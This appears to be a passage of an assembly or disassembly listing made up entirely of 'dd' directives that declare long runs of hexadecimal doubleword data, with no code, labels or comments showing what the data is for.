		dd 3EF90600h, 45CD6BFFh, 7F250702h, 0B02C4D17h,	0BBF74FD5h
		dd 0E65E5600h, 90EEE7B3h, 0A54C0006h, 66425158h, 7700108Ch
		dd 40F2DF53h, 1C718737h, 0C24A0923h, 0D6DC722Eh, 0A66E5440h
		dd 9A5C3F00h, 0E53CCFE2h, 60752E1Ah, 52760068h,	0C3A081C8h
		dd 0A989E000h, 47390DDBh, 54790006h, 0DA2577FCh, 21166A2Eh
		dd 50000B55h, 0B66EAEBBh, 0E118003Bh, 17C253EDh, 0B000A9C7h
		dd 0DF1FC80h, 2B6D9Dh, 140136E7h, 19627DE6h, 1534991Ch
		dd 312EE203h, 1826F904h, 1E4DEAD0h, 40B42716h, 22082314h
		dd 0FC00AE20h, 57D3072Dh, 3DEA12h, 0B15D8911h, 3B0FD421h
		dd 0CD5CC874h, 4B70095h, 0F6476B4Ch, 4264001Bh,	43679EE8h
		dd 0E21D3CA5h, 9AC75365h, 0E0AFF148h, 1DBA6F0Ah, 7AD63B26h
		dd 24C4E500h, 4B918B85h, 8DDE9800h, 821B2B7Bh, 254D1C74h
		dd 692200D2h, 239E3589h, 0CE4AAA00h, 0EE03E47Bh, 4FB5000Ah
		dd 0A26DEB64h, 0C600D7C7h, 0DAD37515h, 73DEBAE6h, 0A32B0E44h
		dd 0AC233C07h, 0F190A1D0h, 8CFC1084h, 42796202h, 41D73E25h
		dd 0BACD3432h, 1530A4E9h, 9ACB0066h, 40EAF8B3h,	8E036C7Ah
		dd 0CCE9F971h, 5C01F079h, 0CD8B58F6h, 0DE218F00h, 0B68226DDh
		dd 97FC4200h, 0C91263CFh, 0C21C0E1h, 5984D774h,	905BF817h
		dd 0C568C600h, 7A917E1Dh, 382100C0h, 0CEAC6C04h, 60065A3h
		dd 613B783Eh, 2280160h,	9B243921h, 0A2402946h, 8200B14Ch
		dd 0FCF29DBAh, 1F58D483h, 948C854Eh, 24008C77h,	279B5CCDh
		dd 876099DCh, 0AF829410h, 348E002Ah, 4A8C1CD6h,	890E8BA8h
		dd 80D352E9h, 0F32144EFh, 1E4300DCh, 1D70DD8Ah,	0C00A7B1h
		dd 9AB3C83Fh, 0E3ABBACh, 0F1B2AF1Fh, 1E7CED1Dh,	0E8A19E3Bh
		dd 0ABE0E240h, 3C6587h,	273D551Fh, 2760371h, 9FCBBF07h
		dd 0B8D0141Ah, 48626147h, 3903246Ah, 3D5769DEh,	66B678E8h
		dd 1AC4AD5Bh, 0C1CD4BC0h, 0BABE0F02h, 0A660255Fh, 421C45F2h
		dd 0D4963E18h, 1720B98h, 7F9CF53h, 0D0B6C06Ah, 42ECE8ADh
		dd 45A7FF13h, 0E022ED07h, 37EF2FE0h, 0A5230077h, 51E6BDE4h
		dd 26480A21h, 0DB007CE9h, 7CB2CB39h, 45A0EEh, 89554F65h
		dd 83CF5F34h, 805A3F3Ch, 0AAC1A485h, 3D9748FEh,	6F804D1Bh
		dd 0D344A9CFh, 0AD1F9212h, 0AB00B28Fh, 7C320E83h, 1C1BF086h
		dd 40A40A51h, 8FF51F49h, 6200DA42h, 0C45EE70Eh,	0B81E6431h
		dd 93A90012h, 161849D3h, 2005547h, 0A8FE4615h, 0AA3EAFh
		dd 2FB8BE2Eh, 290A0D62h, 0D7320200h, 632B3C21h,	4C905EBh
		dd 47355233h, 0E7B98FC4h, 0B51F9093h, 0EF006244h, 0F2F15464h
		dd 0F6591Bh, 4265C1FBh,	6063CBCFh, 796DDD00h, 0F323DB56h
		dd 24AD026Fh, 0CE5A408Ch, 0D2C68480h, 0A80C4564h, 786D9EA2h
		dd 0A75D001Eh, 7D1EACDh, 0BE783960h, 0C737BF04h, 50830D09h
		dd 763FA120h, 371FFED0h, 0C0B0A766h, 2C9E065Ah,	37BCEF0Fh
		dd 0B3C0C028h, 766856EEh, 1EE0F581h, 0CFA71763h, 0F7CB0166h
		dd 862AA35Fh, 68907E40h, 622B0248h, 64E278C4h, 28A60880h
		dd 3400D82Ah, 38C0176Eh, 260E722h, 0DA0691EAh, 4480631Ch
		dd 69427C40h, 0FB7E2E00h, 0C211A4DCh, 0D073074Ch, 7571A90Dh
		dd 6AE30083h, 0B1E7A881h, 553CA00h, 80580B36h, 0DAFA86h
		dd 63706984h, 7660D9CEh
		dd 0A16EE03h, 0A8131B44h, 0CA8B42h, 95A5BDEFh, 0FB6C71D0h
		dd 2E796107h, 0D490291Ch, 0FD3514h, 13DC2A0h, 19484E18h
		dd 47772C00h, 27D83742h, 0E9DE00DAh, 1C6D954Bh,	0ED005020h
		dd 90E3131Fh, 1E7C63h, 442D391Dh, 152A23DAh, 48C6D600h
		dd 3B2E9806h, 0FBE4393Ah, 9C6C669Eh, 14114037h,	0D0D2612Fh
		dd 17EF7C00h, 0A76081A9h, 0A24E285h, 0A4110BF9h, 353A01BCh
		dd 0D0294726h, 0DE0109ABh, 0DD032233h, 17C0D43Dh, 52CD00A5h
		dd 6FC28119h, 0CA00A677h, 0C8A47571h, 32A374C4h, 1210C7CFh
		dd 5CDA45E0h, 13DE8E1Ch, 183393C0h, 0C53C0Eh, 5004B269h
		dd 7D5D76E2h, 0BF9CD700h, 0AF2651B0h, 6BD405CDh, 82C1AEF9h
		dd 0CA41274Bh, 314F0B4h, 6CD5F707h, 2F808F19h, 0F30383Ah
		dd 6A276763h, 0C29AEEC0h, 4C0064DDh, 3828AB9Ch,	58F8D85h
		dd 361CB47Fh, 0C0B9C4BFh, 609D9E2Ch, 523B0A00h,	0D9E46E1Ah
		dd 78C800E5h, 756D42DCh, 0F21DC758h, 0A80EA0Eh,	0A796D135h
		dd 74C972A6h, 29B80031h, 3402BBCCh, 0A000F17Ch,	0FBD52BB5h
		dd 0FCDAEC1Eh, 26B100B7h, 0EF8C520Fh, 0AE00976Bh, 5B128116h
		dd 1F8A4411h, 14366C0h,	0EB1D55C3h, 0C3C0319Eh,	0F6D4DF98h
		dd 37880800h, 993A07DBh, 51F20014h, 47D52F35h, 0DD045F0Ah
		dd 0C8A755FDh, 648B9092h, 0C130139Ch, 0C5180045h, 3E416C31h
		dd 0F7466B04h, 909328FAh, 0C2381C18h, 80E65469h, 0D380763Fh
		dd 0F0D12C7Fh, 0F5762B74h, 831F4B7Eh, 53265EC0h, 0D24CFB07h
		dd 0A8329310h, 14A400CFh, 84CD5BF5h, 0B0A05ED6h, 6A00D8C1h
		dd 0FF3B7A7Bh, 0E3507EFh, 7310713Ch, 27D7A7C0h,	0B11D4204h
		dd 87406BEEh, 1B81C4E4h, 242E06B3h, 0C0095F7Ch,	3AC2B100h
		dd 11950D60h, 83F30058h, 0F0413E67h, 0D02C5040h, 0EC094853h
		dd 59040165h, 8345119Ah, 0E8BE6F00h, 2C298D3h, 0EB95E07Dh
		dd 0DCC0E276h, 100E9675h, 5BC42h, 45BBA8FCh, 0AC5614F7h
		dd 0CC039060h, 0F3D7D4C4h, 508DBAD9h, 737107A8h, 0C15C6F0Eh
		dd 15552278h, 0D7BA4091h, 4C267203h, 2001F3D5h,	72FFE25h
		dd 0CFC8C3D0h, 23006294h, 0D80D28E2h, 4860D3h, 0F2F9D480h
		dd 0A7C201FAh, 0E31A2F01h, 0CFDC4336h, 0C5249088h, 0E01D4A97h
		dd 7F2165C0h, 2763CA0h,	0EAAF3913h, 4040ADF8h, 9200B4B3h
		dd 0E9F6E6A6h, 3672348h, 0F40DEDBh, 9CF3AF20h, 478108A0h
		dd 0C4A6AD0Fh, 0A272A01Ch, 484FE8h, 0C73521F7h,	967DCEBh
		dd 0EC2D6B02h, 0C0B51825h, 1C993B0h, 4DAADB2Eh,	0E0E452ACh
		dd 2700419Fh, 0B61B1222h, 1240A469h, 40A10DF7h,	0CD0A334h
		dd 23E09FBCh, 9D00F8F2h, 0A0F06F75h, 2E4FD73Dh,	1B8CEB3h
		dd 0FFFAD8E0h, 0F943C0C0h, 0AB03F00h, 834B5C58h, 0D9C8390Ch
		dd 8063791Eh, 52775E24h, 1D00B5A8h, 177EA6BDh, 1C9995Ch
		dd 0B9AE9032h, 70FA1A43h, 73C56E0h, 0CCF50069h,	0CBA768D0h
		dd 6BD1009Ah, 0AD7FB4B5h, 0C8B8B0ACh, 80009872h, 966C4D40h
		dd 0F46F35h, 0C589D80Ch, 1C4AA6DBh, 407FF830h, 30B40F5Dh
		dd 0DE11759Bh, 2622FB82h, 3310015h, 0B010EB5Dh,	37181E0Eh
		dd 0F690C3BBh, 0E6060077h, 0CE2EA8C8h, 5200B920h, 32CF0F80h
		dd 9B10D82h, 7F44CD5Fh,	4AE65C00h, 77167C9Fh, 0A00057E2h
		dd 7AD6F40Bh, 0A0FE0047h, 95FB566Ch, 590075E1h,	402804F8h
		dd 0F57A2Ch, 35885B63h,	0E52DE225h, 5315960Bh, 1D30A0ADh
		dd 2C05731Ch, 7843FB3h,	0B05EFB49h, 6F2057B9h, 0C9414FAh
		dd 4147A800h, 0AF7FECh,	9D82E6BCh, 0E940B80Ah, 4CD2F700h
		dd 4346231Eh, 9FDE2D98h, 0E300335Eh, 8E30FE41h,	0F0CA00DCh
		dd 0AF13D77Ah, 280F2E42h, 40D93385h, 2BD06EF2h,	0DE361F89h
		dd 0B4DC3F77h, 1D106480h, 0B901595Ch, 0B30E1C1Ah, 0C0806E18h
		dd 0E65A4134h, 35007DD4h, 44B47899h, 0A30C82h, 667E25B7h
		dd 0F1B1894Ch, 3C074C98h, 445987E5h, 369100Ch, 0F641CA2Ch
		dd 1FBB485h, 89091903h,	86C3E1h, 0CC0B4A69h, 0CF34DB48h
		dd 0C0381D09h, 0A194602Dh, 66C95C8Fh, 0C285400h, 0D714F760h
		dd 0E4CC0D01h, 9E9205Fh, 0FE4BC0h, 0F345D9D1h, 9419F735h
		dd 0C8B0CCE6h, 313E6B14h, 2277269Ch, 22063A00h,	3CA7355h
		dd 0DBC46C0Ah, 80872A71h, 0A09B07B7h, 0EA24EEFEh, 0A100282Eh
		dd 0DE2D4DDAh, 1E3E0001h, 2FBC5499h, 0CF00EFECh, 0E5D2E944h
		dd 0E31C7213h, 196E6880h, 68AD920h, 0A5DCA700h,	0FCD2E617h
		dd 0ED9B00EBh, 0F7416643h, 4900F55Ah, 6951AED4h, 9DEA5Fh
		dd 0F210B483h, 663CD99h, 0FAD4E407h, 8FA0A715h,	161F116Bh
		dd 47CFAAh, 2E20EF1h, 0A100F5B1h, 0DCA9C619h, 9D4A8Ch
		dd 90E857BFh, 0D2BD4313h, 7B300100h, 0AE8CE30Bh, 0B89854h
		dd 1C0D93C1h, 732692F7h, 0C7684E60h, 4B7566B5h,	402744h
		dd 8C91F03Eh, 11053907h, 6CE0ACE0h, 0F0DDEF1h, 80653307h
		dd 69060F20h, 1700A299h, 0C953231Bh, 0A73148h, 9180C519h
		dd 89E5CA65h, 0D47E1100h, 70EFACA4h, 340F5D63h,	57FFED00h
		dd 3FDFAA50h, 0D52D600h, 1482262h, 15970772h, 0AE9DE743h
		dd 0B4203B09h, 9820C970h, 0CA55060Fh, 0B048E00Dh, 0DD9A72h
		dd 3EAB5E89h, 307AAD2Fh, 7FA23603h, 0F7FEEA3Ah,	0C7CC9C00h
		dd 70965C16h, 9F00EC48h, 0E5F3FCD7h, 0F81DF628h, 0EB02CCECh
		dd 0C8E7EF32h, 1E02B18h, 7521A1DAh, 0AC208B3Fh,	0D31B6B08h
		dd 12C5C320h, 8C82EA10h, 0F803FBE8h, 7450C255h,	805EFB08h
		dd 0E626F6h, 0D48198DCh, 2F9EED1Bh, 5BAC9EBh, 8880BCCDh
		dd 68AD26DAh, 60FAB66h,	1A35FDDh, 20743F0Ch, 96641FC0h
		dd 1EA04418h, 4C37C089h, 73C400ECh, 0BA9DAED8h,	0AA00F8CEh
		dd 9E5E3C3Ah, 32E62h, 5DFD2FD2h, 6D1606C3h, 8EA3500h, 687F2272h
		dd 0F8735Fh, 0D7E58321h, 0DD54392Eh, 5E5DF400h,	436F4466h
		dd 7EB20009h, 23D0AB78h, 8F1FD501h, 0D200AC0Fh,	0A7EC4CBCh
		dd 94FE436h, 0A833BD27h, 0BEAF5460h, 0F8668E00h, 0A0C9813Eh
		dd 0EAAEE62h, 8382CD55h, 5DF75B81h, 0C881E22Bh,	5061408Dh
		dd 94591ECCh, 0D2B26600h, 7DBC84ADh, 4EAC0317h,	0F9C8C4E7h
		dd 0EA632909h, 93DC8091h, 0EE2456h, 0E9CB74D0h,	970512B9h
		dd 3661C3Eh, 42A03FC8h,	9339005Eh, 0F74C7F9Dh, 0A800C5AAh
		dd 0F0D28A08h, 15792E3h, 0C3EBEEFBh, 0DBE08490h, 5BC307CAh
		dd 6EC07E9Ah, 669074ADh, 54D0A454h, 3E0D4400h, 379FE178h
		dd 69611550h, 8D0084A6h, 0BA604CADh, 1E02974Ah,	6465DA5Ah
		dd 527C4970h, 303820h, 0C2B9A876h, 0EDB42E02h, 0B5032277h
		dd 0E43E549Dh, 4BF13BE8h, 9425A9h, 1AA184F8h, 8C007CBFh
		dd 9D65BB1h, 28F742h, 0A33EB81Dh, 6CC895D5h, 0C5B93C03h
		dd 23A56Dh, 135A4FF4h, 0C8835ABh, 8E0FD8F6h, 3A41533h
		dd 0C0A11B2Dh, 4A32C6h,	38CB3BAAh, 17061461h, 7023D102h
		dd 43639F4Ch, 0C88790C4h, 31E229h, 3A5618FEh, 97F525ADh
		dd 8C6A1001h, 0EBB91753h, 4576F8h, 141564CBh, 0B772E6BDh
		dd 30A5BF00h, 5638221h,	0D4FB0310h, 0A3EDF4D9h,	60AE1FA8h
		dd 2F06F003h, 80A6675Bh, 0C5CECBh, 5A867492h, 4877EDF7h
		dd 0A0A20802h, 0E07F1C0Fh, 7021596h, 6EAAC634h,	2D4251A4h
		dd 0BA0730D5h, 2414300Eh, 803D6EE5h, 959D09EAh,	28A56164h
		dd 70B7BEFDh, 810143ADh, 0E87A77ADh, 0D0803830h, 0C2E93AF7h
		dd 37000214h, 1CBFE6DFh, 184A4334h, 88B311CCh, 0D80349FCh
		dd 583E0B9Eh
		dd 0F1583CBEh, 7681AF3Bh, 2ED46A41h, 4936E06Ch,	0EB1F6900h
		dd 7CA9B486h, 0E04026D3h, 77503379h, 0F34320A8h, 5BCE7500h
		dd 0F201A9F5h, 0A82D07F6h, 30642550h, 5ECC2039h, 8487B20Ch
		dd 0C4370BFh, 8EC1F7C6h, 630078B8h, 0D5D70DB1h,	7E7BB8h
		dd 1E48EACEh, 0DF848C15h, 0B045131Dh, 134A040h,	772539Ah
		dd 998671DDh, 0FB2630E3h, 0DE0037A3h, 94E06016h, 57A91h
		dd 0D47F7EA9h, 0D7ADB839h, 585EBA26h, 0E56E6000h, 26730668h
		dd 0FE04007h, 3220FDF8h, 33602151h, 12B44C05h, 5FC0A414h
		dd 0F0880Dh, 0BCCBC21Ch, 0BD5C34A1h, 0AAE5E118h, 9178D0h
		dd 5B1A55E2h, 7E82F245h, 0CA849CA9h, 6820988Fh,	85D8F5A7h
		dd 3B27BC00h, 182F399Ah, 0D66E0F58h, 2A0755BEh,	0AA40DFCAh
		dd 7197A4CEh, 761D8B2Ch, 66B8E300h, 45791Fh, 3E418FDAh
		dd 0FD9F1628h, 22A53800h, 0A2711ADEh, 6F76248Bh, 400F00A8h
		dd 1B6D8A90h, 39900C61h, 1900B8F8h, 28002491h, 0C222610Fh
		dd 165C9F7h, 6935C75h, 0EC97EDFAh, 2B01322Fh, 44369137h
		dd 7AE017EAh, 95A000DFh, 0EE1624A9h, 7E0046DCh,	3AA46B1Ah
		dd 25DF90Ch, 0A0B086F1h, 48408E2Dh, 5C391EBCh, 7151B078h
		dd 48ED0D66h, 653F0862h, 0E27F9080h, 0DC511391h, 0C697BF18h
		dd 1560F60h, 83E443D3h,	0D85FED28h, 1A12238Ah, 440F3F51h
		dd 7191A0B8h, 48D4C82Bh, 2601B0E3h, 5A1BBA97h, 0EF28F5C6h
		dd 0F46D90E8h, 0AA198B01h, 0C2DB8E06h, 0E44232ECh, 0D8F548DAh
		dd 0FE0B7E00h, 7CEC4776h, 150F948h, 78753B11h, 8C87EF12h
		dd 7336FE92h, 0E78855CBh, 0D83E448Ch, 5924269Bh, 384CD600h
		dd 0ACF597h, 44493E3Bh,	0F6A3546Bh, 29692C07h, 963121C8h
		dd 68602494h, 0F790006h, 0B8A33882h, 0FF1FC752h, 100DFF7h
		dd 7569F54h, 3400B541h,	5216BC5h, 8180DD00h, 4A5CA74Fh
		dd 0C9FB008Dh, 0CE6CD772h, 6800CC7Bh, 6791F5AEh, 9F375E6h
		dd 1A15DF06h, 0DCC9A080h, 0BD1C5A39h, 0B5C0D428h, 0E0F16488h
		dd 3C0100FBh, 9ED16108h, 9A00D3CAh, 682DAA3Fh, 7E3714FCh
		dd 1DDD00BCh, 835D3CA9h, 72008DBAh, 9CBBA58Fh, 8B3B2Fh
		dd 575330C8h, 0C3F1D3ACh, 724A5A01h, 13A044C0h,	0EF4020h
		dd 79BE2A2Bh, 2F90E029h, 0AE975800h, 0B4FABD39h, 0D30814B2h
		dd 100008B9h, 1796777Ch, 5D07071Dh, 6C36292Ch, 0BE0B16A0h
		dd 0D0200AA9h, 79F4240h, 498AB4AAh, 0BD3ED180h,	20004BF9h
		dd 9E9D9BEEh, 0B87068A7h, 0C9A01268h, 84884A58h, 7A54028Ch
		dd 5468DC8Ch, 0DF10827Bh, 1D009628h, 66981AA7h,	20C0A05Fh
		dd 32F539CBh, 12FE0EF8h, 0A9808150h, 0C3A5887Fh, 497ED730h
		dd 914675Eh, 0E18A6BE7h, 0DC75000h, 0A8300F2Ah,	91418164h
		dd 1F3AFA12h, 80551427h, 535D9BD4h, 49C2DF1Ah, 603A299Eh
		dd 0E9F3A8h, 31497F82h,	216185EBh, 0A4D07928h, 0DE23D01h
		dd 0B42A442Dh, 839DCh, 881E3706h, 7484C3CFh, 972EA17Fh
		dd 72002CCAh, 0AFAD46FFh, 357063h, 3E3DFED0h, 0F6706912h
		dd 0A0E96D2Ch, 91D52F80h, 79C99B0Ch, 0E7A0996h,	0EA00FBACh
		dd 9858D292h, 1A19AB00h, 637DE277h, 308100BEh, 769EB50h
		dd 9300D60Ah, 0B0DB910Eh, 0C71C1h, 0C885C7A6h, 397482Eh
		dd 0C2057F03h, 0D010FBB7h, 7D86A84h, 2C8C51ADh,	29C0DE57h
		dd 8D3AC75Ch, 0FB356400h, 31464AE8h, 0DE8339E9h, 8F418680h
		dd 8D0AA84Dh, 662A9307h, 0A740C80Fh, 0B0CD92CFh, 0A5FADEh
		dd 6B6982DFh, 71547028h, 808AC639h, 44C2E27Ah, 738E3h
		dd 4DB158B3h, 503AED5Eh, 8017EF39h, 243E5732h, 1D90BDFCh
		dd 0C0A5D55Dh, 4DB9911Eh, 2D01B152h, 4754F33Bh,	837004E3h
		dd 81842630h, 99F0349h,	0F7F831A3h, 9900E39Dh, 0B7BA988Dh
		dd 0D645A8h, 83B39AC9h,	0D5B9AC66h, 0E3CA1100h,	0FE9F10FDh
		dd 0B8760098h, 0A7C7FCD3h, 0E400BA45h, 1C46E2DBh, 755AF7EAh
		dd 0C13E000Eh, 3AD72270h, 18161F59h, 1E0F7DB2h,	0FD26A0FBh
		dd 78FB8D9h, 0DB9B1AE3h, 0B1570065h, 0C4073BF0h, 0D07D82D4h
		dd 1DF1E7B6h, 1E570569h, 47D700E2h, 0CFE9D388h,	0E1FF8707h
		dd 0D5C6E3F8h, 744E3F18h, 5C863280h, 0B26E63DBh, 0F9855107h
		dd 6806CA3h, 90076B93h,	7D8801F1h, 0A84FB8C7h, 0E2688219h
		dd 626EFFh, 988857D5h, 0E8565301h, 0C65874D1h, 4A7909Eh
		dd 1E2BF83Bh, 0ACB3CF00h, 297DDA4Fh, 4460BC2Fh,	0CF9B285Dh
		dd 7702C208h, 0CC8702E7h, 15FA604Ch, 0C6006427h, 4BB01E85h
		dd 0F1194h, 26D3BFDEh, 76AECE02h, 62F4FB01h, 5AACB0BCh
		dd 58A399C8h, 5200AA65h, 1D0C6E7Bh, 4E98F2B7h, 16FFC507h
		dd 682371Ch, 0CCC58053h, 0C01ACF87h, 0C19D42A0h, 4E4CFE39h
		dd 58C000E4h, 0C5214799h, 978D1DBEh, 16CCC0E0h,	289F0A78h
		dd 7D983500h, 0EF4BB586h, 7B78D7h, 15CE4AEh, 0EB96B620h
		dd 1D0E7F00h, 0D994321Ah, 0F5EA009Dh, 139E5B59h, 8AFEB97Ch
		dd 6700FDF4h, 0DCCBB025h, 3A1A5991h, 8F00A844h,	0B28E7833h
		dd 0ED5C4311h, 65C7003Ah, 0B62267AFh, 8393025Bh, 0E4FFFDD3h
		dd 2AE2B4A5h, 6F03EE04h, 0BBF73540h, 9D9470E0h,	3F95B903h
		dd 93DA302h, 0D81F8828h, 2DA9B00Eh, 0DB7A9480h,	0E8E4073Ch
		dd 4B03C0F6h, 0C973774Dh, 292921ECh, 90038408h,	0EE4E8464h
		dd 3944F548h, 9A13C822h, 23F124EDh, 0C4484E2h, 0EFB3445Ch
		dd 7942FD48h, 4502504h,	44E2AA28h, 2844C1B9h, 6FF444FFh
		dd 48F07C44h, 0BBA44E45h, 14D80A2Bh, 98838108h,	0E8DF51C1h
		dd 0FDA13800h, 1A091E8Bh, 3C4E03AAh, 0C5234B28h, 0F0078DB8h
		dd 0E2C1E000h, 72116077h, 0AD7A0F2Fh, 0C7E076FEh, 30FA7E9h
		dd 1D944900h, 6457E4D4h, 1AB6004Ch, 4E704A28h, 600066F7h
		dd 0FCC6D9A4h, 99F20Fh,	4AFD7B44h, 86C402DAh, 13ADD30Ch
		dd 0C0162863h, 0B4D1247Ch, 0CE00E8EAh, 2D31D840h, 0FE5ED0h
		dd 4B0699F3h, 0CC08D4F4h, 1AE0E100h, 28D18D47h,	320A3040h
		dd 960E7C1Ah, 39B40F01h, 0D519BE45h, 20CCF8E1h,	520B0F64h
		dd 0B760EE78h, 9B5F1A49h, 86DC4D00h, 7A4C174Ah,	0A22A05FFh
		dd 0C0DEEE60h, 0EF55627Ah, 2D854E00h, 6ADA0F6Dh, 5C4B4D48h
		dd 62C6AF00h, 585411C4h, 0D000A57Dh, 9FAAED9Eh,	0E3B4BFAh
		dd 0BEB7237Eh, 49DFFC20h, 0FD00E564h, 8808E0ACh, 0F622B906h
		dd 0E41B8033h, 6B00127Fh, 13A4C7D8h, 0BB6AD9h, 663A16ABh
		dd 9CB29EF5h, 0EC29D0Fh, 0EC780041h, 38E9153h, 6AF9FCD6h
		dd 0A4903D6Dh, 4A02B965h, 5A997A83h, 20A0806Eh,	785473A8h
		dd 4B822C03h, 57183027h, 59B01219h, 0C3D12D00h,	0C6681FAFh
		dd 84470F10h, 14000520h, 7E3A12F1h, 0CCC98C00h,	0B2AE26BAh
		dd 17F416B6h, 52CD0EC2h, 3E749720h, 60002BA1h, 0B63337FDh
		dd 0B8A46Ah, 487FCE79h,	0F37B89E9h, 8300E6EAh, 8E162CADh
		dd 1A55738h, 0AF914FC1h, 34ED1395h, 0FF1E8800h,	0BBCAE6h
		dd 0C3E4EA8Bh, 678A4h, 993E2D9Eh, 8C5CB9DEh, 0DB104A00h
		dd 0E50C9209h, 94C500C4h, 2526D06h, 8A00FB8Bh, 5DB58FF8h
		dd 978881h, 0DC114CA1h,	781AF5CCh, 9115F400h, 7A658EF3h
		dd 6A3B0EC6h, 0FAE99C52h, 0D8626000h, 0C90026F8h, 2ED2C110h
		dd 0FD98D0h, 95A215C7h,	48E0D8D1h, 29FCF950h, 0FFD71B03h
		dd 0A0B2B592h, 60C5C3h,	9E8B9785h, 3C7D0ADCh, 54210B67h
		dd 0F8DD3F63h, 0EC416E2Bh, 713CBAB0h, 4D7000F9h, 9DD72E62h
		dd 6600EB97h, 0E5965D4Fh
		dd 0D2F312h, 0E00AAADCh, 3D73466Bh, 0E63AB892h,	4E851CBBh
		dd 3C00681Eh, 0F9AFE5A1h, 15930752h, 0F0A05082h, 55A99FD7h
		dd 0D10E3C7Eh, 0C72C537Eh, 0F8E0637Fh, 0E35949h, 0E0FC7710h
		dd 0AD2BC712h, 0EF00B677h, 8A85863Dh, 38EC681Eh, 8926B836h
		dd 0C6A1C2Ch, 52606F55h, 0DAC61D1Ch, 9D134500h,	3B506C9h
		dd 0F6FA0B90h, 0E8074F49h, 6D216214h, 868746D0h, 0FE7700D0h
		dd 49027CA4h, 7E050A2Ch, 0FD3BB765h, 47A588C0h,	30D80028h
		dd 0CE5AEE75h, 27001E57h, 3CA48EE7h, 0A0B501D1h, 47A00DF4h
		dd 86260095h, 0F6ED198Eh, 687C003Fh, 70DEE1A4h,	0A7003166h
		dd 4B224A3Ah, 3BE6963Eh, 0EAAAB7A1h, 55F2ACh, 7184A575h
		dd 2966D8B3h, 0C4335101h, 8DF9BFB8h, 0E730BC41h, 500420h
		dd 6585299Fh, 56B91E4Eh, 9E95DD03h, 817C7A97h, 1180D83Eh
		dd 5FBF434Ch, 3824FD2Dh, 6004042Ah, 1E075B86h, 0CA7ED058h
		dd 0F200F372h, 0D1D6A9E5h, 45BDA0Bh, 5F40A38Ch,	403AA173h
		dd 0DEB8BA34h, 0D80074FEh, 0AC0E6ADDh, 2C3BC81Bh, 83B0292Ah
		dd 0CA86F09Ah, 0D475A6D8h, 0BE62C501h, 717BA28Ch, 76B8C0h
		dd 4EFA5CAFh, 0ED1472D5h, 0E8012873h, 0A810C2Ch, 0A8FB64C7h
		dd 26217645h, 0C3FE2h, 0D5078697h, 3B00A922h, 0AD0F0EE0h
		dd 750CA545h, 81E961A0h, 65473598h, 81B0FBF8h, 0FF00ED09h
		dd 0CA8B9355h, 0F7BEA7h, 0D1F97FCDh, 0B31BB8D7h, 960155E8h
		dd 0F271F6D9h, 3C3753A1h, 0EB00F03Bh, 9ECDE6C9h, 563E2D65h
		dd 9DF980DAh, 98256850h, 2E78077Ah, 72A31138h, 44C00AFEh
		dd 9400BD69h, 0C4C5877Fh, 2A3225h, 0D39CCF82h, 6FF90ED2h
		dd 0D5722F00h, 0FDDA1638h, 0A46138E7h, 37A8C038h, 8EB500FCh
		dd 6D464770h, 9002FE9h,	21FC4A93h, 7C7E38h, 98DDEA05h
		dd 37BDED69h, 0FA67AC14h, 89B0988h, 2D6400C9h, 7D583CD5h
		dd 0C16B1D43h, 2AF54367h, 0D099DBF1h, 53ACC031h, 839C7204h
		dd 0DBE049B8h, 98B10069h, 4218F09Dh, 0AF0081BFh, 0DC7CB2B3h
		dd 600A2729h, 0D1F2E861h, 0E4148993h, 7AB04D35h, 5AB8E71Eh
		dd 847400FEh, 58C0A7EFh, 3020CCCh, 4848B043h, 1E621B0Ch
		dd 0C5C115Fh, 30B1FC1Fh, 3303EF59h, 7C0F80BFh, 9A2CE807h
		dd 99FB0014h, 9CCA19ECh, 4E016D51h, 0BA6FDF9Bh,	0E7C96BBBh
		dd 2C4DBED8h, 40D074B2h, 0D22B45CBh, 8020343Ah,	8F849824h
		dd 98D03F75h, 0F3E20045h, 503E0B9Bh, 0BF1D0FDCh, 0B1409395h
		dd 6E9424B2h, 0E4CD0E7Fh, 286F8F0Ch, 49380880h,	0D40023C4h
		dd 0A6774CF9h, 0EA901E0Dh, 0CE11024Ah, 5525740Ch, 4ECC4840h
		dd 0E9F52A00h, 8B96DC1Bh, 0AAECED04h, 0D49100EEh, 1F8CC7E2h
		dd 441E1850h, 7080DDA1h, 0D8B06BF9h, 0E2A600C9h, 76B25187h
		dd 8913E3CDh, 48019E96h, 0F97DA895h, 3800E022h,	0BAA38290h
		dd 9C00C6F0h, 2FA5DA13h, 0A78B43h, 0D99DF675h, 76A92EDEh
		dd 4C3EFC00h, 49546009h, 50F237h, 0BB3D8A27h, 620C0B6Eh
		dd 5C40E6FDh, 4A002543h, 0C4164928h, 130301h, 0FC59ECB9h
		dd 86C310DAh, 901A2E8h,	4807CB65h, 6820DBB0h, 0D87100AFh
		dd 6E49ECC2h, 0AE01C64Eh, 6D0486E1h, 80BBABE5h,	0F4134B00h
		dd 275F0EE4h, 58B9D4FBh, 34EA9900h, 299B32E6h, 2C40B707h
		dd 101CC361h, 62400ECFh, 121C9786h, 768CC259h, 5CE33952h
		dd 9B0E3CB0h, 0ECCB1A00h, 595DF9F6h, 0EBE10002h, 9994DC7Bh
		dd 0DB30B537h, 0A2DE3016h, 7F98C3E5h, 49B09217h, 9107A671h
		dd 88621DFFh, 0F8CC6DB3h, 0F6640B5Ah, 4A590114h, 456C8982h
		dd 0CEA4F87Ah, 3E6A9F00h, 8784028Ah, 0C7EF167Fh, 83AB0FD7h
		dd 57396400h, 6E0577BAh, 4C720C95h, 0A632FD00h,	1F499F62h
		dd 1F8483C5h, 136709E3h, 0C9A0080h, 6F00D791h, 0D9FA999h
		dd 0BFEE277Fh, 2400FD70h, 0BFCC3D17h, 13D7AFFCh, 8BB2D8h
		dd 6457EDEBh, 0C02E7D44h, 0F1007B92h, 8E8214BEh, 360E00CDh
		dd 0D3BCC968h, 879C6DAh, 1CADD3Ch, 62EAF0BBh, 68872D06h
		dd 92C7105Fh, 0B86459A3h, 0D7CAD408h, 4F138037h, 0B866CB53h
		dd 55D52016h, 2AA72400h, 0EAA994ADh, 3448008Ah,	0DB7A364Eh
		dd 4B00971Fh, 6AAFB9E9h, 9F8F5Eh, 603805ACh, 135C1229h
		dd 0C71EFC00h, 0EC6EB2F4h, 4BCF2563h, 0EF20EE40h, 51066000h
		dd 0A499365Fh, 1C1932CAh, 77638298h, 0AC6211C8h, 0FB306E01h
		dd 2DB57087h, 4C97F834h, 65004C46h, 3504F87Dh, 8E036151h
		dd 0B2CA360Dh, 33EAB819h, 14E8EA94h, 0A4E7F531h, 67478805h
		dd 2EE89041h, 4C058BFBh, 175112D6h, 0C988EB80h,	4C544C1Eh
